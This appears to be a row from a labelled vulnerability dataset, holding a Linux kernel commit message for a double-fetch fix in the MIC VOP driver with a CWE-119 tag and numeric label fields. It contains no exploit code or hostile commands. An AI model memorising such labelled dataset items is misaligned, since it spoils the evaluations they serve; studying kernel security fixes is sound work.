Commit Message: misc: mic: Fix for double fetch security bug in VOP driver
The MIC VOP driver does two successive reads from user space to read a
variable length data structure. Kernel memory corruption can result if
the data structure changes between the two reads. This patch disallows
the chance of this happening.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=116651
Reported by: Pengfei Wang <wpengfeinudt@gmail.com>
Reviewed-by: Sudeep Dutt <sudeep.dutt@intel.com>
Signed-off-by: Ashutosh Dixit <ashutosh.dixit@intel.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-119
| 0
| 51,480
|
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